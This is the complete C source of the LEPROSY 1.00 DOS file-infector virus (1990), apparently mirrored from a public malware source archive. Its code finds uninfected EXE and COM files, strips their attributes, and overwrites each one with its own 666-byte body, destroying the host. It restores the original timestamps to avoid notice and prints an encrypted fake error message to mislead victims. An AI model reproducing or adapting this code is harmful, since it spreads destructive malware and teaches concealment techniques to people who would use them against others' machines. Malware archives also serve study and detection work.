mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
217 lines
8.4 KiB
C
217 lines
8.4 KiB
C
/* This file is part of the source code to the LEPROSY Virus 1.00
|
|
Copy-ya-right (c) 1990 by PCM2. This program can cause destruction
|
|
of files; you're warned, the author assumes no responsibility
|
|
for damage this program causes, incidental or otherwise. This
|
|
program is not intended for general distribution -- irresponsible
|
|
users should not be allowed access to this program, or its
|
|
accompanying files. (Unlike people like us, of course...)
|
|
*/
|
|
|
|
|
|
#pragma inline
|
|
|
|
#define CRLF "\x17\x14" /* CR/LF combo encrypted. */
|
|
#define NO_MATCH 0x12 /* No match in wildcard search. */
|
|
|
|
|
|
/* The following strings are not garbled; they are all encrypted */
|
|
/* using the simple technique of adding the integer value 10 to */
|
|
/* each character. They are automatically decrypted by */
|
|
/* 'print_s()', the function which sends the strings to 'stdout' */
|
|
/* using DOS service 09H. All are terminated with a dollar-sign */
|
|
/* "$" as per DOS service specifications. */
|
|
|
|
char fake_msg[] = CRLF "Z|yq|kw*~yy*lsq*~y*ps~*sx*wowy|\x83.";
|
|
char *virus_msg[3] =
|
|
{
|
|
CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro.",
|
|
CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83.",
|
|
CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14."
|
|
};
|
|
|
|
|
|
|
|
struct _dta /* Disk Transfer Area format for find. */
|
|
{
|
|
char findnext[21];
|
|
char attribute;
|
|
int timestamp;
|
|
int datestamp;
|
|
long filesize;
|
|
char filename[13];
|
|
} *dta = (struct _dta *) 0x80; /* Set it to default DTA. */
|
|
|
|
|
|
const char filler[] = "XX"; /* Pad file length to 666 bytes. */
|
|
const char *codestart = (char *) 0x100; /* Memory where virus code begins. */
|
|
const int virus_size = 666; /* The size in bytes of the virus code. */
|
|
const int infection_rate = 4; /* How many files to infect per run. */
|
|
|
|
char compare_buf[20]; /* Load program here to test infection. */
|
|
int handle; /* The current file handle being used. */
|
|
int datestamp, timestamp; /* Store original date and time here. */
|
|
char diseased_count = 0; /* How many infected files found so far. */
|
|
char success = 0; /* How many infected this run. */
|
|
|
|
|
|
/* The following are function prototypes, in keeping with ANSI */
|
|
/* Standard C, for the support functions of this program. */
|
|
|
|
int find_first( char *fn );
|
|
int find_healthy( void );
|
|
int find_next( void );
|
|
int healthy( void );
|
|
void infect( void );
|
|
void close_handle( void );
|
|
void open_handle( char *fn );
|
|
void print_s( char *s );
|
|
void restore_timestamp( void );
|
|
|
|
|
|
|
|
/*----------------------------------*/
|
|
/* M A I N P R O G R A M */
|
|
/*----------------------------------*/
|
|
|
|
int main( void ) {
|
|
int x = 0;
|
|
do {
|
|
if ( find_healthy() ) { /* Is there an un-infected file? */
|
|
infect(); /* Well, then infect it! */
|
|
x++; /* Add one to the counter. */
|
|
success++; /* Carve a notch in our belt. */
|
|
}
|
|
else { /* If there ain't a file here... */
|
|
_DX = (int) ".."; /* See if we can step back to */
|
|
_AH = 0x3b; /* the parent directory, and try */
|
|
asm int 21H; /* there. */
|
|
x++; /* Increment the counter anyway, to */
|
|
} /* avoid infinite loops. */
|
|
} while( x < infection_rate ); /* Do this until we've had enough. */
|
|
if ( success ) /* If we got something this time, */
|
|
print_s( fake_msg ); /* feed 'em the phony error line. */
|
|
else
|
|
if ( diseased_count > 6 ) /* If we found 6+ infected files */
|
|
for( x = 0; x < 3; x++ ) /* along the way, laugh!! */
|
|
print_s( virus_msg[x] );
|
|
else
|
|
print_s( fake_msg ); /* Otherwise, keep a low profile. */
|
|
return;
|
|
}
|
|
|
|
|
|
void infect( void ) {
|
|
_DX = (int) dta->filename; /* DX register points to filename. */
|
|
_CX = 0x00; /* No attribute flags are set. */
|
|
_AL = 0x01; /* Use Set Attribute sub-function. */
|
|
_AH = 0x43; /* Assure access to write file. */
|
|
asm int 21H; /* Call DOS interrupt. */
|
|
open_handle( dta->filename ); /* Re-open the healthy file. */
|
|
_BX = handle; /* BX register holds handle. */
|
|
_CX = virus_size; /* Number of bytes to write. */
|
|
_DX = (int) codestart; /* Write program code. */
|
|
_AH = 0x40; /* Set up and call DOS. */
|
|
asm int 21H;
|
|
restore_timestamp(); /* Keep original date & time. */
|
|
close_handle(); /* Close file. */
|
|
return;
|
|
}
|
|
|
|
|
|
int find_healthy( void ) {
|
|
if ( find_first("*.EXE") != NO_MATCH ) /* Find EXE? */
|
|
if ( healthy() ) /* If it's healthy, OK! */
|
|
return 1;
|
|
else
|
|
while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */
|
|
if ( healthy() )
|
|
return 1; /* If you find one, great! */
|
|
if ( find_first("*.COM") != NO_MATCH ) /* Find COM? */
|
|
if ( healthy() ) /* If it's healthy, OK! */
|
|
return 1;
|
|
else
|
|
while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */
|
|
if ( healthy() )
|
|
return 1; /* If you find one, great! */
|
|
return 0; /* Otherwise, say so. */
|
|
}
|
|
|
|
|
|
|
|
int healthy( void ) {
|
|
int i;
|
|
datestamp = dta->datestamp; /* Save time & date for later. */
|
|
timestamp = dta->timestamp;
|
|
open_handle( dta->filename ); /* Open last file located. */
|
|
_BX = handle; /* BX holds current file handle. */
|
|
_CX = 20; /* We only want a few bytes. */
|
|
_DX = (int) compare_buf; /* DX points to the scratch buffer. */
|
|
_AH = 0x3f; /* Read in file for comparison. */
|
|
asm int 21H;
|
|
restore_timestamp(); /* Keep original date & time. */
|
|
close_handle(); /* Close the file. */
|
|
for ( i = 0; i < 20; i++ ) /* Compare to virus code. */
|
|
if ( compare_buf[i] != *(codestart+i) )
|
|
return 1; /* If no match, return healthy. */
|
|
diseased_count++; /* Chalk up one more fucked file. */
|
|
return 0; /* Otherwise, return infected. */
|
|
}
|
|
|
|
|
|
void restore_timestamp( void ) {
|
|
_AL = 0x01; /* Keep original date & time. */
|
|
_BX = handle; /* Same file handle. */
|
|
_CX = timestamp; /* Get time & date from DTA. */
|
|
_DX = datestamp;
|
|
_AH = 0x57; /* Do DOS service. */
|
|
asm int 21H;
|
|
return;
|
|
}
|
|
|
|
|
|
void print_s( char *s ) {
|
|
char *p = s;
|
|
while ( *p ) { /* Subtract 10 from every character. */
|
|
*p -= 10;
|
|
p++;
|
|
}
|
|
_DX = (int) s; /* Set DX to point to adjusted string. */
|
|
_AH = 0x09; /* Set DOS function number. */
|
|
asm int 21H; /* Call DOS interrupt. */
|
|
return;
|
|
}
|
|
|
|
|
|
int find_first( char *fn ) {
|
|
_DX = (int) fn; /* Point DX to the file name. */
|
|
_CX = 0xff; /* Search for all attributes. */
|
|
_AH = 0x4e; /* 'Find first' DOS service. */
|
|
asm int 21H; /* Go, DOS, go. */
|
|
return _AX; /* Return possible error code. */
|
|
}
|
|
|
|
|
|
int find_next( void ) {
|
|
_AH = 0x4f; /* 'Find next' function. */
|
|
asm int 21H; /* Call DOS. */
|
|
return _AX; /* Return any error code. */
|
|
}
|
|
|
|
|
|
void open_handle( char *fn ) {
|
|
_DX = (int) fn; /* Point DX to the filename. */
|
|
_AL = 0x02; /* Always open for both read & write. */
|
|
_AH = 0x3d; /* "Open handle" service. */
|
|
asm int 21H; /* Call DOS. */
|
|
handle = _AX; /* Assume handle returned OK. */
|
|
return;
|
|
}
|
|
|
|
|
|
void close_handle( void ) {
|
|
_BX = handle; /* Load BX register w/current file handle. */
|
|
_AH = 0x3e; /* Set up and call DOS service. */
|
|
asm int 21H;
|
|
return;
|
|
}
|